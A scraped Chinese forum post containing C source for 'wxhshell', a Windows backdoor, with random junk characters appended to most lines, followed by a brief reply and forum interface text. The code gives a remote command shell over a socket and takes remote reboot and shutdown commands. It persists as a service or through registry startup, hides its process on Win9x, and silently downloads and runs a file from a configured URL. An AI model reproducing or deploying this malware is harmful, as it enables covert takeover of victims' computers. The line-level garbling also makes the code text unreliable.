  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DO8@/W( `  
  else QI.{M$,m~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OpW4@le_r  
  } 9jCn|+  
  else { >01&3-r  
bb}|"m .  
    switch(cmd[0]) { n&p i  
  ,n-M!y  
  // 帮助 Z9E[RD  
  case '?': { ofC=S$wX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'n6D3Vse  
    break; sy0|=E*;8"  
  } Fr`"XH  
  // 安装 PsjSL8]  
  case 'i': { ,W'`rCxJ  
    if(Install()) -M/DOTc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZQlja  
    else [z5pqd-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x9hkE!{8  
    break; o cotO  
    } g+bc4eU  
  // 卸载 [u`v'*0d  
  case 'r': { \L($;8` \  
    if(Uninstall()) %scSp&X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }4Ef31X8q  
    else "eA4JL\%)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d %1j4JE{  
    break; jgQn^  
    } AvfSR p  
  // 显示 wxhshell 所在路径 +fBbW::R^  
  case 'p': { 2_'{f1bVxz  
    char svExeFile[MAX_PATH]; IlJ!jq  
    strcpy(svExeFile,"\n\r"); nYhI0q  
      strcat(svExeFile,ExeFile); W|XW2`3p  
        send(wsh,svExeFile,strlen(svExeFile),0); 8E`A`z  
    break; UFr ]$m&  
    } Q`j!$r  
  // 重启 0<d9al|J  
  case 'b': { e%Rg,dX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OuWG.Za  
    if(Boot(REBOOT)) __dSEOGoe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Imq4I~)  
    else { !VBl/ aU@  
    closesocket(wsh); X,DG2HT  
    ExitThread(0); 7jPPN  
    } D"UCe7  
    break; Kx==vq%39  
    } >c %*:a  
  // 关机 qS1byqq78l  
  case 'd': { o/??w:'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xF.n=z  
    if(Boot(SHUTDOWN)) "ld4v+o8l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ozN$:  
    else { G0 *>S`:4  
    closesocket(wsh); _=!R l#  
    ExitThread(0); ]06orBV  
    } uJhB>/Og  
    break; " iAwD8-  
    } 4BF \- lq~  
  // 获取shell L+VqTt  
  case 's': { )nE=H,U?y  
    CmdShell(wsh); \JjZ _R  
    closesocket(wsh); G(joamfM  
    ExitThread(0); O1]L4V1iH  
    break; 1X. E:  
  } QfPsF@+-`7  
  // 退出 P`^3-X/  
  case 'x': { Z'=:Bo{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PggjuPPh  
    CloseIt(wsh); )zn`qaHK@e  
    break; Lmh4ezrdH  
    } O\0]o!  
  // 离开 &q8oalh  
  case 'q': { mcO/V-\5'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d rRi<7 i  
    closesocket(wsh); W@S>#3,  
    WSACleanup(); pe%$(%@v  
    exit(1); W5a7HkM  
    break; '$nm~z,V  
        } 5jMI33D  
  } fib#)KE  
  } d!>.$|b  
8);G'7O  
  // 提示信息 l5; SY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TQ hu$z<  
} P)D2PVD  
  } jgpSFb<9F  
PqUjBP\  
  return; 1V/?p<A  
} Z@sDxYt9  
X"hdCY%  
// shell模块句柄 =emcs%  
int CmdShell(SOCKET sock) ' 5tk0A  
{ q)N]*~  
STARTUPINFO si; ^UJB%l  
ZeroMemory(&si,sizeof(si)); KAkD" (!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Pj+^+UM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |-+IF,j  
PROCESS_INFORMATION ProcessInfo; 9pF@#A9p  
char cmdline[]="cmd"; <?8 aM7W7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z.d1>w  
  return 0; `_;sT8  
} ?F=^& v8  
L<dJWxf?D  
// 自身启动模式 >G#SfE$0  
int StartFromService(void) WlJ=X$  
{ X>-|px$vy  
typedef struct k4i*80  
{ o*5iHa(Qm  
  DWORD ExitStatus; yq7gBkS  
  DWORD PebBaseAddress; d1]1bN4`"0  
  DWORD AffinityMask; )/87<Y;o  
  DWORD BasePriority; B:X,vE  
  ULONG UniqueProcessId; =5l20 Um  
  ULONG InheritedFromUniqueProcessId; _EEOBaZ  
}   PROCESS_BASIC_INFORMATION; IJ[r!&PY  
|^:qJ;dOP  
PROCNTQSIP NtQueryInformationProcess; 3:]c>GPQ  
a%g|E'\Jw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O-uno{Fd*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ZMAlC*$G  
e #!YdXSx  
  HANDLE             hProcess; GBg~NkC7.  
  PROCESS_BASIC_INFORMATION pbi; f$y`tT %o  
70Z#Ej  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j-$F@p_2F  
  if(NULL == hInst ) return 0; #];b+ T  
v}`{OE:-J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  WPu-P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); on^m2pQ *p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \>]C  
aTWCX${~b  
  if (!NtQueryInformationProcess) return 0; w! kWG,{C  
x9!3i{_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'X%5i2  
  if(!hProcess) return 0;  |43dyJW  
z?3t^UPW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :HiAjaA1pg  
9\ulS2d  
  CloseHandle(hProcess); 14DHU  
5Q$.q &,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iZ( U]  
if(hProcess==NULL) return 0; a +$'ULK+r  
|O';$a1S  
HMODULE hMod; >.=v*\P  
char procName[255]; sF4+(9=  
unsigned long cbNeeded; ^Ay>%`hf*  
d8C44q+ds  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^!v{ >3  
,wYA_1$$H  
  CloseHandle(hProcess); BN>t"9XpW  
ABaK60.O[O  
if(strstr(procName,"services")) return 1; // 以服务启动 f`W)Z$fN5  
) Vf!U"  
  return 0; // 注册表启动 G4;5$YGG  
} a\l?7Jr  
e0z(l/UB  
// 主模块 1=@csO_yn  
int StartWxhshell(LPSTR lpCmdLine) $*')Sma  
{ I6e[K(7NY  
  SOCKET wsl; b2r]>*Vc  
BOOL val=TRUE; |L<p90  
  int port=0; Da3Z>/S  
  struct sockaddr_in door; tv 7"4$T  
4`[2Te>  
  if(wscfg.ws_autoins) Install(); 2{}8_G   
5._1G| 3  
port=atoi(lpCmdLine); $a#-d;  
Fm#`}K_  
if(port<=0) port=wscfg.ws_port; T0e- X  
f`vu+nw  
  WSADATA data; /$'|`jKsB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5Y4#aq  
xf4CM,Z7(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =THRy ZCH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oAprM Z 7Y  
  door.sin_family = AF_INET; MHqk-4Mz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g-LMct8$  
  door.sin_port = htons(port); q|zips,  
6* 6 |R93  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IQ\5!e  
closesocket(wsl); : *8t,f~s^  
return 1; J?%ecCN  
} (Go1@;5I  
3j7Na#<tL3  
  if(listen(wsl,2) == INVALID_SOCKET) { 'ju'O#A9  
closesocket(wsl); }bZb8hiG  
return 1; Ly P Cc|  
} OB4nE}NO  
  Wxhshell(wsl);  /~1Ew  
  WSACleanup(); wTe 9OFv  
PpLuN12H  
return 0; 8|) $;.  
NCa3")k  
} rbl7-xhC7  
nKnQ%R  
// 以NT服务方式启动 O|AY2QH\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =&t]R? F  
{ kyH0J[/n  
DWORD   status = 0; 9)*218.  
  DWORD   specificError = 0xfffffff; Am@:<J  
d+WNg2#v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [x{Ai( /T^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g#%Egb1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; - !QVM\t  
  serviceStatus.dwWin32ExitCode     = 0; cd._q2  
  serviceStatus.dwServiceSpecificExitCode = 0; POI|#[-V  
  serviceStatus.dwCheckPoint       = 0; Y !%2vOt  
  serviceStatus.dwWaitHint       = 0; -q30tO.  
3}2;*:p4Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lBzfBmEB  
  if (hServiceStatusHandle==0) return; 'Px}#f0IR  
L\zyBfK}  
status = GetLastError(); [NoOA  
  if (status!=NO_ERROR) 4TRF-f  
{ (B0QBDj!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9]%2Yb8SC  
    serviceStatus.dwCheckPoint       = 0; @]YEOk-  
    serviceStatus.dwWaitHint       = 0; kB9@ &t +  
    serviceStatus.dwWin32ExitCode     = status; 43,baeG  
    serviceStatus.dwServiceSpecificExitCode = specificError; ] ^53Qbrv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h?Lp9VF  
    return; L/?jtF:o  
  } / ?'FSWDU  
zJ30ZY:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4MrUo9L$s  
  serviceStatus.dwCheckPoint       = 0; a0&L,7mu<'  
  serviceStatus.dwWaitHint       = 0; * hmoi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K=1prv2  
} s`en8%  
]E $bK  
// 处理NT服务事件,比如:启动、停止 >rXDLj-e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7.kgQ"?&  
{ '{w[).c.  
switch(fdwControl) k=4C"   
{ l5nm.i<M  
case SERVICE_CONTROL_STOP: zF@[S  
  serviceStatus.dwWin32ExitCode = 0; qVW3oj<2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WK5B8u*<  
  serviceStatus.dwCheckPoint   = 0; lhX4 MB"  
  serviceStatus.dwWaitHint     = 0; >dJ[1s]  
  { 1i&|}"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LP'~7FG  
  } K;ocs?rk/  
  return; 7J1f$5$m5  
case SERVICE_CONTROL_PAUSE: O%f{\Fr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UPy 4ST  
  break; K'f^=bc I  
case SERVICE_CONTROL_CONTINUE: I;9C":'#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sI MN""@Y^  
  break; P@5}}vwS  
case SERVICE_CONTROL_INTERROGATE: hkOFPt&  
  break; y3':x[d  
}; _jb&=f8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A=sz8?K+`  
} [!#}#  
h_Ssm{C\  
// 标准应用程序主函数 2UG>(R:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #&b<D2d  
{ cTQ._|M  
3hVuC1;"  
// 获取操作系统版本 CfT(a!;Eox  
OsIsNt=GetOsVer(); zY2x_}#Q\"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j;I( w [@P  
fohZ&f|>  
  // 从命令行安装 DzIV5FG  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1)3'Y2N*  
\5-Dp9vG  
  // 下载执行文件 E`Br#"/Bl  
if(wscfg.ws_downexe) { .kTOG'K\e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }`aT=_B  
  WinExec(wscfg.ws_filenam,SW_HIDE); g 'td(i[  
} ;9<?~S  
,$ Cr9R&/  
if(!OsIsNt) { <'48mip  
// 如果时win9x,隐藏进程并且设置为注册表启动 MDZPp;\)  
HideProc(); x*p'm[Tdtm  
StartWxhshell(lpCmdLine); N2 t`  
} SmAii}-jf  
else rk47 $36X  
  if(StartFromService()) .Fx3WryF  
  // 以服务方式启动 2FY]o~@  
  StartServiceCtrlDispatcher(DispatchTable); =y>CO:^G%  
else \Xe{vlo>h  
  // 普通方式启动 r$<M*z5q(\  
  StartWxhshell(lpCmdLine); ktkS$  
3:)_oHq  
return 0; %)Z,?DzZ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八